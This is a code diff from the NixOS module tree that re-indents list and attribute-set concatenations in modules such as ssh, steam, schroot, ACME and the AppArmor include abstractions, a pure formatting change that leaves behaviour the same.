@@ -123,16 +123,15 @@ in
 
     environment.systemPackages = [ cfg.package ];
 
-    environment.variables =
-      {
-        LESSKEYIN_SYSTEM = builtins.toString lessKey;
-      }
-      // lib.optionalAttrs (cfg.lessopen != null) {
-        LESSOPEN = cfg.lessopen;
-      }
-      // lib.optionalAttrs (cfg.lessclose != null) {
-        LESSCLOSE = cfg.lessclose;
-      };
+    environment.variables = {
+      LESSKEYIN_SYSTEM = builtins.toString lessKey;
+    }
+    // lib.optionalAttrs (cfg.lessopen != null) {
+      LESSOPEN = cfg.lessopen;
+    }
+    // lib.optionalAttrs (cfg.lessclose != null) {
+      LESSCLOSE = cfg.lessclose;
+    };
 
     warnings =
       lib.optional
diff --git a/nixos/modules/programs/nix-required-mounts.nix b/nixos/modules/programs/nix-required-mounts.nix
index 0fb83b2f8946..b6c7aa9e32c0 100644
--- a/nixos/modules/programs/nix-required-mounts.nix
+++ b/nixos/modules/programs/nix-required-mounts.nix
@@ -56,7 +56,8 @@ let
     config.hardware.graphics.package
 
     # nvidia_x11, etc:
-  ] ++ config.hardware.graphics.extraPackages; # nvidia_x11
+  ]
+  ++ config.hardware.graphics.extraPackages; # nvidia_x11
 
   defaults = {
     nvidia-gpu.onFeatures = package.allowedPatterns.nvidia-gpu.onFeatures;
diff --git a/nixos/modules/programs/opengamepadui.nix b/nixos/modules/programs/opengamepadui.nix
index 12446cabdad9..f1b862f6278e 100644
--- a/nixos/modules/programs/opengamepadui.nix
+++ b/nixos/modules/programs/opengamepadui.nix
@@ -264,7 +264,8 @@ in
 
     environment.systemPackages = [
       cfg.package
-    ] ++ lib.optional cfg.gamescopeSession.enable opengamepadui-gamescope;
+    ]
+    ++ lib.optional cfg.gamescopeSession.enable opengamepadui-gamescope;
   };
 
   meta.maintainers = with lib.maintainers; [ shadowapex ];
diff --git a/nixos/modules/programs/schroot.nix b/nixos/modules/programs/schroot.nix
index bce8e4709ddb..2092544d2983 100644
--- a/nixos/modules/programs/schroot.nix
+++ b/nixos/modules/programs/schroot.nix
@@ -96,26 +96,25 @@ in
     environment = {
       systemPackages = [ cfg.package ];
 
-      etc =
-        {
-          # schroot requires this directory to exist
-          "schroot/chroot.d/.keep".text = "";
+      etc = {
+        # schroot requires this directory to exist
+        "schroot/chroot.d/.keep".text = "";
 
-          "schroot/schroot.conf".source = iniFmt.generate "schroot.conf" cfg.settings;
+        "schroot/schroot.conf".source = iniFmt.generate "schroot.conf" cfg.settings;
+      }
+      // (lib.attrsets.concatMapAttrs (
+        name:
+        {
+          copyfiles,
+          fstab,
+          nssdatabases,
+        }:
+        {
+          "schroot/${name}/copyfiles".text = (lib.strings.concatStringsSep "\n" copyfiles) + "\n";
+          "schroot/${name}/fstab".source = fstab;
+          "schroot/${name}/nssdatabases".text = (lib.strings.concatStringsSep "\n" nssdatabases) + "\n";
         }
-        // (lib.attrsets.concatMapAttrs (
-          name:
-          {
-            copyfiles,
-            fstab,
-            nssdatabases,
-          }:
-          {
-            "schroot/${name}/copyfiles".text = (lib.strings.concatStringsSep "\n" copyfiles) + "\n";
-            "schroot/${name}/fstab".source = fstab;
-            "schroot/${name}/nssdatabases".text = (lib.strings.concatStringsSep "\n" nssdatabases) + "\n";
-          }
-        ) cfg.profiles);
+      ) cfg.profiles);
     };
 
     security.wrappers.schroot = {
diff --git a/nixos/modules/programs/ssh.nix b/nixos/modules/programs/ssh.nix
index 27a56034d86c..a950a1c12b12 100644
--- a/nixos/modules/programs/ssh.nix
+++ b/nixos/modules/programs/ssh.nix
@@ -32,7 +32,8 @@ let
 
   knownHostsFiles = [
     "/etc/ssh/ssh_known_hosts"
-  ] ++ builtins.map pkgs.copyPathToStore cfg.knownHostsFiles;
+  ]
+  ++ builtins.map pkgs.copyPathToStore cfg.knownHostsFiles;
 
 in
 {
@@ -319,21 +320,20 @@ in
       || config.services.openssh.settings.X11Forwarding
     );
 
-    assertions =
-      [
-        {
-          assertion = cfg.forwardX11 == true -> cfg.setXAuthLocation;
-          message = "cannot enable X11 forwarding without setting XAuth location";
-        }
-      ]
-      ++ lib.flip lib.mapAttrsToList cfg.knownHosts (
-        name: data: {
-          assertion =
-            (data.publicKey == null && data.publicKeyFile != null)
-            || (data.publicKey != null && data.publicKeyFile == null);
-          message = "knownHost ${name} must contain either a publicKey or publicKeyFile";
-        }
-      );
+    assertions = [
+      {
+        assertion = cfg.forwardX11 == true -> cfg.setXAuthLocation;
+        message = "cannot enable X11 forwarding without setting XAuth location";
+      }
+    ]
+    ++ lib.flip lib.mapAttrsToList cfg.knownHosts (
+      name: data: {
+        assertion =
+          (data.publicKey == null && data.publicKeyFile != null)
+          || (data.publicKey != null && data.publicKeyFile == null);
+        message = "knownHost ${name} must contain either a publicKey or publicKeyFile";
+      }
+    );
 
     # SSH configuration. Slight duplication of the sshd_config
     # generation in the sshd service.
diff --git a/nixos/modules/programs/steam.nix b/nixos/modules/programs/steam.nix
index f31aaf3bd555..a8d1b7aefc70 100644
--- a/nixos/modules/programs/steam.nix
+++ b/nixos/modules/programs/steam.nix
@@ -241,15 +241,14 @@ in
 
     hardware.steam-hardware.enable = true;
 
-    environment.systemPackages =
-      [
-        cfg.package
-        cfg.package.run
-      ]
-      ++ lib.optional cfg.gamescopeSession.enable steam-gamescope
-      ++ lib.optional cfg.protontricks.enable (
-        cfg.protontricks.package.override { inherit extraCompatPaths; }
-      );
+    environment.systemPackages = [
+      cfg.package
+      cfg.package.run
+    ]
+    ++ lib.optional cfg.gamescopeSession.enable steam-gamescope
+    ++ lib.optional cfg.protontricks.enable (
+      cfg.protontricks.package.override { inherit extraCompatPaths; }
+    );
 
     networking.firewall = lib.mkMerge [
       (lib.mkIf (cfg.remotePlay.openFirewall || cfg.localNetworkGameTransfers.openFirewall) {
diff --git a/nixos/modules/programs/tsm-client.nix b/nixos/modules/programs/tsm-client.nix
index abbcfa9055eb..f1b0c5dda28a 100644
--- a/nixos/modules/programs/tsm-client.nix
+++ b/nixos/modules/programs/tsm-client.nix
@@ -254,53 +254,52 @@ let
   cfg = config.programs.tsmClient;
   servernames = map (s: s.servername) (attrValues cfg.servers);
 
-  assertions =
-    [
-      {
-        assertion = allUnique (map toLower servernames);
-        message = ''
-          TSM server names
-          (option `programs.tsmClient.servers`)
-          contain duplicate name
-          (note that server names are case insensitive).
-        '';
-      }
-      {
-        assertion = (cfg.defaultServername != null) -> (elem cfg.defaultServername servernames);
-        message = ''
-          TSM default server name
-          `programs.tsmClient.defaultServername="${cfg.defaultServername}"`
-          not found in server names in
-          `programs.tsmClient.servers`.
-        '';
-      }
-    ]
-    ++ (mapAttrsToList (name: serverCfg: {
-      assertion = all (key: null != match "[^[:space:]]+" key) (attrNames serverCfg);
+  assertions = [
+    {
+      assertion = allUnique (map toLower servernames);
       message = ''
-        TSM server setting names in
-        `programs.tsmClient.servers.${name}.*`
-        contain spaces, but that's not allowed.
+        TSM server names
+        (option `programs.tsmClient.servers`)
+        contain duplicate name
+        (note that server names are case insensitive).
       '';
-    }) cfg.servers)
-    ++ (mapAttrsToList (name: serverCfg: {
-      assertion = allUnique (map toLower (attrNames serverCfg));
+    }
+    {
+      assertion = (cfg.defaultServername != null) -> (elem cfg.defaultServername servernames);
       message = ''
-        TSM server setting names in
-        `programs.tsmClient.servers.${name}.*`
-        contain duplicate names
-        (note that setting names are case insensitive).
+        TSM default server name
+        `programs.tsmClient.defaultServername="${cfg.defaultServername}"`
+        not found in server names in
+        `programs.tsmClient.servers`.
       '';
-    }) cfg.servers)
-    # XXX migration code for freeform settings, this can be removed in 2025:
-    ++ (enrichMigrationInfos "assertions" (
-      addText:
-      { assertion, message }:
-      {
-        inherit assertion;
-        message = addText message;
-      }
-    ));
+    }
+  ]
+  ++ (mapAttrsToList (name: serverCfg: {
+    assertion = all (key: null != match "[^[:space:]]+" key) (attrNames serverCfg);
+    message = ''
+      TSM server setting names in
+      `programs.tsmClient.servers.${name}.*`
+      contain spaces, but that's not allowed.
+    '';
+  }) cfg.servers)
+  ++ (mapAttrsToList (name: serverCfg: {
+    assertion = allUnique (map toLower (attrNames serverCfg));
+    message = ''
+      TSM server setting names in
+      `programs.tsmClient.servers.${name}.*`
+      contain duplicate names
+      (note that setting names are case insensitive).
+    '';
+  }) cfg.servers)
+  # XXX migration code for freeform settings, this can be removed in 2025:
+  ++ (enrichMigrationInfos "assertions" (
+    addText:
+    { assertion, message }:
+    {
+      inherit assertion;
+      message = addText message;
+    }
+  ));
 
   makeDsmSysLines =
     key: value:
diff --git a/nixos/modules/programs/wayland/sway.nix b/nixos/modules/programs/wayland/sway.nix
index 6e282ce6b672..95a0bd2b2f3a 100644
--- a/nixos/modules/programs/wayland/sway.nix
+++ b/nixos/modules/programs/wayland/sway.nix
@@ -155,20 +155,19 @@ in
           # Needed for the default wallpaper:
           pathsToLink = lib.optional (cfg.package != null) "/share/backgrounds/sway";
 
-          etc =
-            {
-              "sway/config.d/nixos.conf".source = pkgs.writeText "nixos.conf" ''
-                # Import the most important environment variables into the D-Bus and systemd
-                # user environments (e.g. required for screen sharing and Pinentry prompts):
-                exec dbus-update-activation-environment --systemd DISPLAY WAYLAND_DISPLAY SWAYSOCK XDG_CURRENT_DESKTOP
-                # enable systemd-integration
-                exec "systemctl --user import-environment {,WAYLAND_}DISPLAY SWAYSOCK; systemctl --user start sway-session.target"
-                exec swaymsg -t subscribe '["shutdown"]' && systemctl --user stop sway-session.target
-              '';
-            }
-            // lib.optionalAttrs (cfg.package != null) {
-              "sway/config".source = lib.mkOptionDefault "${cfg.package}/etc/sway/config";
-            };
+          etc = {
+            "sway/config.d/nixos.conf".source = pkgs.writeText "nixos.conf" ''
+              # Import the most important environment variables into the D-Bus and systemd
+              # user environments (e.g. required for screen sharing and Pinentry prompts):
+              exec dbus-update-activation-environment --systemd DISPLAY WAYLAND_DISPLAY SWAYSOCK XDG_CURRENT_DESKTOP
+              # enable systemd-integration
+              exec "systemctl --user import-environment {,WAYLAND_}DISPLAY SWAYSOCK; systemctl --user start sway-session.target"
+              exec swaymsg -t subscribe '["shutdown"]' && systemctl --user stop sway-session.target
+            '';
+          }
+          // lib.optionalAttrs (cfg.package != null) {
+            "sway/config".source = lib.mkOptionDefault "${cfg.package}/etc/sway/config";
+          };
         };
 
         systemd.user.targets.sway-session = {
diff --git a/nixos/modules/programs/zsh/zsh.nix b/nixos/modules/programs/zsh/zsh.nix
index baf16ae8397b..b46099de5255 100644
--- a/nixos/modules/programs/zsh/zsh.nix
+++ b/nixos/modules/programs/zsh/zsh.nix
@@ -308,7 +308,8 @@ in
 
     environment.systemPackages = [
       pkgs.zsh
-    ] ++ lib.optional cfg.enableCompletion pkgs.nix-zsh-completions;
+    ]
+    ++ lib.optional cfg.enableCompletion pkgs.nix-zsh-completions;
 
     environment.pathsToLink = lib.optional cfg.enableCompletion "/share/zsh";
 
diff --git a/nixos/modules/security/acme/default.nix b/nixos/modules/security/acme/default.nix
index 58ab3623223d..92c545797376 100644
--- a/nixos/modules/security/acme/default.nix
+++ b/nixos/modules/security/acme/default.nix
@@ -284,34 +284,33 @@ let
             data.webroot
           ];
 
-      commonOpts =
-        [
-          "--accept-tos" # Checking the option is covered by the assertions
-          "--path"
-          "."
-          "--email"
-          data.email
-        ]
-        ++ protocolOpts
-        ++ lib.optionals (acmeServer != null) [
-          "--server"
-          acmeServer
-        ]
-        ++ lib.optionals (data.csr != null) [
-          "--csr"
-          data.csr
-        ]
-        ++ lib.optionals (data.csr == null) [
-          "--key-type"
-          data.keyType
-          "-d"
-          data.domain
-        ]
-        ++ lib.concatMap (name: [
-          "-d"
-          name
-        ]) extraDomains
-        ++ data.extraLegoFlags;
+      commonOpts = [
+        "--accept-tos" # Checking the option is covered by the assertions
+        "--path"
+        "."
+        "--email"
+        data.email
+      ]
+      ++ protocolOpts
+      ++ lib.optionals (acmeServer != null) [
+        "--server"
+        acmeServer
+      ]
+      ++ lib.optionals (data.csr != null) [
+        "--csr"
+        data.csr
+      ]
+      ++ lib.optionals (data.csr == null) [
+        "--key-type"
+        data.keyType
+        "-d"
+        data.domain
+      ]
+      ++ lib.concatMap (name: [
+        "-d"
+        name
+      ]) extraDomains
+      ++ data.extraLegoFlags;
 
       # Although --must-staple is common to both modes, it is not declared as a
       # mode-agnostic argument in lego and thus must come after the mode.
@@ -420,7 +419,8 @@ let
           "network-online.target"
           "acme-setup.service"
           "nss-lookup.target"
-        ] ++ selfsignedDeps;
+        ]
+        ++ selfsignedDeps;
         wants = [ "network-online.target" ] ++ selfsignedDeps;
         requires = [ "acme-setup.service" ];
 
diff --git a/nixos/modules/security/apparmor.nix b/nixos/modules/security/apparmor.nix
index 2a20a673d5af..5875d13bf786 100644
--- a/nixos/modules/security/apparmor.nix
+++ b/nixos/modules/security/apparmor.nix
@@ -149,13 +149,12 @@ in
       }) enabledPolicies
       ++ lib.mapAttrsToList (name: path: { inherit name path; }) cfg.includes
     );
-    environment.etc."apparmor/parser.conf".text =
-      ''
-        ${if cfg.enableCache then "write-cache" else "skip-cache"}
-        cache-loc /var/cache/apparmor
-        Include /etc/apparmor.d
-      ''
-      + lib.concatMapStrings (p: "Include ${p}/etc/apparmor.d\n") cfg.packages;
+    environment.etc."apparmor/parser.conf".text = ''
+      ${if cfg.enableCache then "write-cache" else "skip-cache"}
+      cache-loc /var/cache/apparmor
+      Include /etc/apparmor.d
+    ''
+    + lib.concatMapStrings (p: "Include ${p}/etc/apparmor.d\n") cfg.packages;
     # For aa-logprof
     environment.etc."apparmor/apparmor.conf".text = '''';
     # For aa-logprof
diff --git a/nixos/modules/security/apparmor/includes.nix b/nixos/modules/security/apparmor/includes.nix
index ddf6f3a1a778..03f8f5df9d5f 100644
--- a/nixos/modules/security/apparmor/includes.nix
+++ b/nixos/modules/security/apparmor/includes.nix
@@ -39,60 +39,58 @@ in
       alias /sbin -> /run/current-system/sw/sbin,
       alias /usr -> /run/current-system/sw,
     '';
-    "abstractions/audio" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/audio"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "asound.conf"
-        "esound/esd.conf"
-        "libao.conf"
-        {
-          path = "pulse";
-          trail = "/";
-        }
-        {
-          path = "pulse";
-          trail = "/**";
-        }
-        {
-          path = "sound";
-          trail = "/";
-        }
-        {
-          path = "sound";
-          trail = "/**";
-        }
-        {
-          path = "alsa/conf.d";
-          trail = "/";
-        }
-        {
-          path = "alsa/conf.d";
-          trail = "/*";
-        }
-        "openal/alsoft.conf"
-        "wildmidi/wildmidi.conf"
-      ];
-    "abstractions/authentication" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/authentication"
-        # Defined in security.pam
-        include <abstractions/pam>
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "nologin"
-        "securetty"
-        {
-          path = "security";
-          trail = "/*";
-        }
-        "shadow"
-        "gshadow"
-        "pwdb.conf"
-        "default/passwd"
-        "login.defs"
-      ];
+    "abstractions/audio" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/audio"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "asound.conf"
+      "esound/esd.conf"
+      "libao.conf"
+      {
+        path = "pulse";
+        trail = "/";
+      }
+      {
+        path = "pulse";
+        trail = "/**";
+      }
+      {
+        path = "sound";
+        trail = "/";
+      }
+      {
+        path = "sound";
+        trail = "/**";
+      }
+      {
+        path = "alsa/conf.d";
+        trail = "/";
+      }
+      {
+        path = "alsa/conf.d";
+        trail = "/*";
+      }
+      "openal/alsoft.conf"
+      "wildmidi/wildmidi.conf"
+    ];
+    "abstractions/authentication" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/authentication"
+      # Defined in security.pam
+      include <abstractions/pam>
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "nologin"
+      "securetty"
+      {
+        path = "security";
+        trail = "/*";
+      }
+      "shadow"
+      "gshadow"
+      "pwdb.conf"
+      "default/passwd"
+      "login.defs"
+    ];
     "abstractions/base" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/base"
       r ${pkgs.stdenv.cc.libc}/share/locale/**,
@@ -102,38 +100,37 @@ in
       r ${pkgs.tzdata}/share/zoneinfo/**,
       r ${pkgs.stdenv.cc.libc}/share/i18n/**,
     '';
-    "abstractions/bash" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/bash"
+    "abstractions/bash" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/bash"
 
-        # bash inspects filesystems at startup
-        # and /etc/mtab is linked to /proc/mounts
-        r @{PROC}/mounts,
+      # bash inspects filesystems at startup
+      # and /etc/mtab is linked to /proc/mounts
+      r @{PROC}/mounts,
 
-        # system-wide bash configuration
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "profile.dos"
-        "profile"
-        "profile.d"
-        {
-          path = "profile.d";
-          trail = "/*";
-        }
-        "bashrc"
-        "bash.bashrc"
-        "bash.bashrc.local"
-        "bash_completion"
-        "bash_completion.d"
-        {
-          path = "bash_completion.d";
-          trail = "/*";
-        }
-        # bash relies on system-wide readline configuration
-        "inputrc"
-        # run out of /etc/bash.bashrc
-        "DIR_COLORS"
-      ];
+      # system-wide bash configuration
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "profile.dos"
+      "profile"
+      "profile.d"
+      {
+        path = "profile.d";
+        trail = "/*";
+      }
+      "bashrc"
+      "bash.bashrc"
+      "bash.bashrc.local"
+      "bash_completion"
+      "bash_completion.d"
+      {
+        path = "bash_completion.d";
+        trail = "/*";
+      }
+      # bash relies on system-wide readline configuration
+      "inputrc"
+      # run out of /etc/bash.bashrc
+      "DIR_COLORS"
+    ];
     "abstractions/consoles" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/consoles"
     '';
@@ -166,129 +163,125 @@ in
         trail = "/**";
       }}
     '';
-    "abstractions/gnome" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/gnome"
-        include <abstractions/fonts>
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        {
-          path = "gnome";
-          trail = "/gtkrc*";
-        }
-        {
-          path = "gtk";
-          trail = "/*";
-        }
-        {
-          path = "gtk-2.0";
-          trail = "/*";
-        }
-        {
-          path = "gtk-3.0";
-          trail = "/*";
-        }
-        "orbitrc"
-        {
-          path = "pango";
-          trail = "/*";
-        }
-        {
-          path = "/etc/gnome-vfs-2.0";
-          trail = "/modules/";
-        }
-        {
-          path = "/etc/gnome-vfs-2.0";
-          trail = "/modules/*";
-        }
-        "papersize"
-        {
-          path = "cups";
-          trail = "/lpoptions";
-        }
-        {
-          path = "gnome";
-          trail = "/defaults.list";
-        }
-        {
-          path = "xdg";
-          trail = "/{,*-}mimeapps.list";
-        }
-        "xdg/mimeapps.list"
-      ];
-    "abstractions/kde" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/kde"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        {
-          path = "qt3";
-          trail = "/kstylerc";
-        }
-        {
-          path = "qt3";
-          trail = "/qt_plugins_3.3rc";
-        }
-        {
-          path = "qt3";
-          trail = "/qtrc";
-        }
-        "kderc"
-        {
-          path = "kde3";
-          trail = "/*";
-        }
-        "kde4rc"
-        {
-          path = "xdg";
-          trail = "/kdeglobals";
-        }
-        {
-          path = "xdg";
-          trail = "/Trolltech.conf";
-        }
-      ];
-    "abstractions/kerberosclient" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/kerberosclient"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        {
-          path = "krb5.keytab";
-          mode = "rk";
-        }
-        "krb5.conf"
-        "krb5.conf.d"
-        {
-          path = "krb5.conf.d";
-          trail = "/*";
-        }
+    "abstractions/gnome" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/gnome"
+      include <abstractions/fonts>
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      {
+        path = "gnome";
+        trail = "/gtkrc*";
+      }
+      {
+        path = "gtk";
+        trail = "/*";
+      }
+      {
+        path = "gtk-2.0";
+        trail = "/*";
+      }
+      {
+        path = "gtk-3.0";
+        trail = "/*";
+      }
+      "orbitrc"
+      {
+        path = "pango";
+        trail = "/*";
+      }
+      {
+        path = "/etc/gnome-vfs-2.0";
+        trail = "/modules/";
+      }
+      {
+        path = "/etc/gnome-vfs-2.0";
+        trail = "/modules/*";
+      }
+      "papersize"
+      {
+        path = "cups";
+        trail = "/lpoptions";
+      }
+      {
+        path = "gnome";
+        trail = "/defaults.list";
+      }
+      {
+        path = "xdg";
+        trail = "/{,*-}mimeapps.list";
+      }
+      "xdg/mimeapps.list"
+    ];
+    "abstractions/kde" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/kde"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      {
+        path = "qt3";
+        trail = "/kstylerc";
+      }
+      {
+        path = "qt3";
+        trail = "/qt_plugins_3.3rc";
+      }
+      {
+        path = "qt3";
+        trail = "/qtrc";
+      }
+      "kderc"
+      {
+        path = "kde3";
+        trail = "/*";
+      }
+      "kde4rc"
+      {
+        path = "xdg";
+        trail = "/kdeglobals";
+      }
+      {
+        path = "xdg";
+        trail = "/Trolltech.conf";
+      }
+    ];
+    "abstractions/kerberosclient" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/kerberosclient"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      {
+        path = "krb5.keytab";
+        mode = "rk";
+      }
+      "krb5.conf"
+      "krb5.conf.d"
+      {
+        path = "krb5.conf.d";
+        trail = "/*";
+      }
 
-        # config files found via strings on libs
-        "krb.conf"
-        "krb.realms"
-        "srvtab"
-      ];
-    "abstractions/ldapclient" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/ldapclient"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "ldap.conf"
-        "ldap.secret"
-        {
-          path = "openldap";
-          trail = "/*";
-        }
-        {
-          path = "openldap";
-          trail = "/cacerts/*";
-        }
-        {
-          path = "sasl2";
-          trail = "/*";
-        }
-      ];
+      # config files found via strings on libs
+      "krb.conf"
+      "krb.realms"
+      "srvtab"
+    ];
+    "abstractions/ldapclient" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/ldapclient"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "ldap.conf"
+      "ldap.secret"
+      {
+        path = "openldap";
+        trail = "/*";
+      }
+      {
+        path = "openldap";
+        trail = "/cacerts/*";
+      }
+      {
+        path = "sasl2";
+        trail = "/*";
+      }
+    ];
     "abstractions/likewise" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/likewise"
     '';
@@ -296,49 +289,48 @@ in
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/mdns"
       ${etcRule "nss_mdns.conf"}
     '';
-    "abstractions/nameservice" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/nameservice"
+    "abstractions/nameservice" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/nameservice"
 
-        # Many programs wish to perform nameservice-like operations, such as
-        # looking up users by name or id, groups by name or id, hosts by name
-        # or IP, etc. These operations may be performed through files, dns,
-        # NIS, NIS+, LDAP, hesiod, wins, etc. Allow them all here.
-        mr ${getLib pkgs.nss}/lib/libnss_*.so*,
-        mr ${getLib pkgs.nss}/lib64/libnss_*.so*,
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "group"
-        "host.conf"
-        "hosts"
-        "nsswitch.conf"
-        "gai.conf"
-        "passwd"
-        "protocols"
+      # Many programs wish to perform nameservice-like operations, such as
+      # looking up users by name or id, groups by name or id, hosts by name
+      # or IP, etc. These operations may be performed through files, dns,
+      # NIS, NIS+, LDAP, hesiod, wins, etc. Allow them all here.
+      mr ${getLib pkgs.nss}/lib/libnss_*.so*,
+      mr ${getLib pkgs.nss}/lib64/libnss_*.so*,
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "group"
+      "host.conf"
+      "hosts"
+      "nsswitch.conf"
+      "gai.conf"
+      "passwd"
+      "protocols"
 
-        # libtirpc (used for NIS/YP login) needs this
-        "netconfig"
+      # libtirpc (used for NIS/YP login) needs this
+      "netconfig"
 
-        "resolv.conf"
+      "resolv.conf"
 
-        {
-          path = "samba";
-          trail = "/lmhosts";
-        }
-        "services"
+      {
+        path = "samba";
+        trail = "/lmhosts";
+      }
+      "services"
 
-        "default/nss"
+      "default/nss"
 
-        # libnl-3-200 via libnss-gw-name
-        {
-          path = "libnl";
-          trail = "/classid";
-        }
-        {
-          path = "libnl-3";
-          trail = "/classid";
-        }
-      ];
+      # libnl-3-200 via libnss-gw-name
+      {
+        path = "libnl";
+        trail = "/classid";
+      }
+      {
+        path = "libnl-3";
+        trail = "/classid";
+      }
+    ];
     "abstractions/nis" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/nis"
     '';
@@ -367,28 +359,27 @@ in
         trail = "/openssl.cnf";
       }}
     '';
-    "abstractions/p11-kit" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/p11-kit"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        {
-          path = "pkcs11";
-          trail = "/";
-        }
-        {
-          path = "pkcs11";
-          trail = "/pkcs11.conf";
-        }
-        {
-          path = "pkcs11";
-          trail = "/modules/";
-        }
-        {
-          path = "pkcs11";
-          trail = "/modules/*";
-        }
-      ];
+    "abstractions/p11-kit" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/p11-kit"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      {
+        path = "pkcs11";
+        trail = "/";
+      }
+      {
+        path = "pkcs11";
+        trail = "/pkcs11.conf";
+      }
+      {
+        path = "pkcs11";
+        trail = "/modules/";
+      }
+      {
+        path = "pkcs11";
+        trail = "/modules/*";
+      }
+    ];
     "abstractions/perl" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/perl"
       ${etcRule {
@@ -396,67 +387,64 @@ in
         trail = "/**";
       }}
     '';
-    "abstractions/php" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/php"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        {
-          path = "php";
-          trail = "/**/";
-        }
-        {
-          path = "php5";
-          trail = "/**/";
-        }
-        {
-          path = "php7";
-          trail = "/**/";
-        }
-        {
-          path = "php";
-          trail = "/**.ini";
-        }
-        {
-          path = "php5";
-          trail = "/**.ini";
-        }
-        {
-          path = "php7";
-          trail = "/**.ini";
-        }
-      ];
-    "abstractions/postfix-common" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/postfix-common"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "mailname"
-        {
-          path = "postfix";
-          trail = "/*.cf";
-        }
-        "postfix/main.cf"
-        "postfix/master.cf"
-      ];
+    "abstractions/php" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/php"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      {
+        path = "php";
+        trail = "/**/";
+      }
+      {
+        path = "php5";
+        trail = "/**/";
+      }
+      {
+        path = "php7";
+        trail = "/**/";
+      }
+      {
+        path = "php";
+        trail = "/**.ini";
+      }
+      {
+        path = "php5";
+        trail = "/**.ini";
+      }
+      {
+        path = "php7";
+        trail = "/**.ini";
+      }
+    ];
+    "abstractions/postfix-common" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/postfix-common"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "mailname"
+      {
+        path = "postfix";
+        trail = "/*.cf";
+      }
+      "postfix/main.cf"
+      "postfix/master.cf"
+    ];
     "abstractions/python" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/python"
     '';
-    "abstractions/qt5" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/qt5"
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        {
-          path = "xdg";
-          trail = "/QtProject/qtlogging.ini";
-        }
-        {
-          path = "xdg/QtProject";
-          trail = "/qtlogging.ini";
-        }
-        "xdg/QtProject/qtlogging.ini"
-      ];
+    "abstractions/qt5" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/qt5"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      {
+        path = "xdg";
+        trail = "/QtProject/qtlogging.ini";
+      }
+      {
+        path = "xdg/QtProject";
+        trail = "/qtlogging.ini";
+      }
+      "xdg/QtProject/qtlogging.ini"
+    ];
     "abstractions/samba" = ''
       include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/samba"
       ${etcRule {
@@ -464,56 +452,55 @@ in
         trail = "/*";
       }}
     '';
-    "abstractions/ssl_certs" =
-      ''
-        include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/ssl_certs"
+    "abstractions/ssl_certs" = ''
+      include "${pkgs.apparmor-profiles}/etc/apparmor.d/abstractions/ssl_certs"
 
-        # For the NixOS module: security.acme
-        r /var/lib/acme/*/cert.pem,
-        r /var/lib/acme/*/chain.pem,
-        r /var/lib/acme/*/fullchain.pem,
+      # For the NixOS module: security.acme
+      r /var/lib/acme/*/cert.pem,
+      r /var/lib/acme/*/chain.pem,
+      r /var/lib/acme/*/fullchain.pem,
 
